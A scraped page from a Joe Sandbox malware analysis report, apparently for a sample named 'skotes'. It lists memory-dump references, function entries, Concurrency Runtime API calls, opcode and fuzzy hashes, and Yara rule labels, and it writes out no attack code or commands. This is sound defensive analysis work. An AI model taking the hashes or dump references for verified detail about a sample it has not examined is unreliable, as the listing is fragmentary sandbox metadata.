Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID:
API String ID: 2363638799-0
Opcode ID: a20a082af52fc53646d19dd7a7a55f9e88c74045ea931039f5363cddff1903cf
Instruction ID: 7c7d7beb07c282789f4d3135abd9290b9514ea0b4cac98bdf8c82911b8533fbe
Opcode Fuzzy Hash: a20a082af52fc53646d19dd7a7a55f9e88c74045ea931039f5363cddff1903cf
Instruction Fuzzy Hash: 9251B031A00625EBDF24DF50D895BADB777AF44310F1444A8E9027B392CB72AE06CFA1

Function 0061CB97 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtFlushProcessWriteBuffers.NTDLL ref: 0061CBAA

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersFlushProcessWrite
String ID:
API String ID: 2982998374-0
Opcode ID: 41ca565a1a5eef6b38a79149da62223fdf875f3c4c77146e98c96c540d63119a
Instruction ID: b6e2e481adecfbf0e8d7e07fbc42b5db397ddfcfa251dc4b8885fd0919ff471d
Opcode Fuzzy Hash: 41ca565a1a5eef6b38a79149da62223fdf875f3c4c77146e98c96c540d63119a
Instruction Fuzzy Hash: 43B09232A1B93047CB516B14BC095DD7716AB80B22B0A2156D802E7234CA509E828BD4

Function 0061DD91 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 239e85b0e895f7d55105a5ef73a2d4c6a425aa285ab64f638a2c88351924049b
Instruction ID: 427bf804fc680b4fa7ff7d8356b73a514a9a0b16a5f0ea459b7a64ef0bd5f49d
Opcode Fuzzy Hash: 239e85b0e895f7d55105a5ef73a2d4c6a425aa285ab64f638a2c88351924049b
Instruction Fuzzy Hash: 25519EB2A056068FDB15CF98D8957EEB7F2FB58304F28856AD406EB350D3B4A980CF50

Function 0061F028 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 229COMMONLIBRARYCODE

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 0061F2BB

Strings

pEvents, xrefs: 0061F2B3

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pEvents
API String ID: 2141394445-2498624650
Opcode ID: d228fc3651cce8f0ba639efb8ba0085a16731c2469290c27eb73896c4943edc8
Instruction ID: 07c81249ec63b8e04d641cfd94d447cdb47ebc433a620cf143ce5ed6e965543f
Opcode Fuzzy Hash: d228fc3651cce8f0ba639efb8ba0085a16731c2469290c27eb73896c4943edc8
Instruction Fuzzy Hash: FC817D31D00219DBCF14DFE8C981BEEB7B6AF59310F1C4569E801A7382DB75AA85CB91

Function 006326D1 Relevance: 22.7, APIs: 15, Instructions: 231COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 006326E3

Part of subcall function 006324E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00632504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00632704
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 00632711
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 0063275F
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 006327E6
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 006327F9
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 00632846

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
